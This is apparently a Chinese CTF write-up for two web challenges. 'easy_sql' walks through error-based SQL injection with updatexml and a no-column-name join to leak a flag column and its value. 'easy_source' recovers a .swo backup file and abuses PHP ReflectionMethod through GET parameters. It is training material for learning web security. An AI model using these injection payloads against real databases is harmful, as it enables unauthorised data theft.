easy_sql
STEP1
先在用户名那里注入尝试
爆出的错误回显是passwd,然后在passwd注入
通过这里的报错知道是')
闭合,然后查询有几列
admin') order by 2%23
查询列名成功,有两列
STEP2
使用union select
联合查询失败,union
被ban掉了,尝试报错注入
admin') or updatexml(1,concat(0x7e,database(),0x7e),1)%23
用报错注入爆出其中一个数据库,但是在尝试爆破表名的时候,union
和information_schema
都被ban掉了,报错注入不能用
STEP3
尝试无列名注入
参考之前做的swpu web1
和百度方法
-1') or updatexml(1,concat(0x7e,(select * from (select * from users as a join users as b)as c limit 1,0)),1)%23
得到列名是id
-1') or updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b using(id) )as c)),1)%23
猜表明再爆出一个列名no
然后根据爆出的两个列名再报其他的列名
-1') or updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b using(id,no))as c)),1)%23
出现了一个可疑的列名,再尝试爆破,就没有了
-1') or updatexml(1,concat(0x7e,(select*from (select * from flag as a join flag as b using(id,no,5080dd6a-2456-41bc-badf-c890f83894e8))as c)),1)%23
STEP4
-1') or updatexml(1,concat(0x7e,(select*from (select `5080dd6a-2456-41bc-badf-c890f83894e8` from flag as a join flag as b using(`5080dd6a-2456-41bc-badf-c890f83894e8`) )as c)),0x7e)%23
爆出前一半的flag
然后用sunstr截取查看后面的flag
1') and updatexml(1,concat(0x7e,substr((select * from (select `5080dd6a-2456-41bc-badf-c890f83894e8` from flag as a join flag b using(`5080dd6a-2456-41bc-badf-c890f83894e8`))c),31),0x7e),1)%23
easy_source
ctf中的php反射
先尝试一波备份文件
备份文件:.index.php.swp、.index.php.swo、.index.php.bak、.index.php~
在.index.php.swo
里面
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd
提示说只有一个文件,但是没有
php反射类
?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment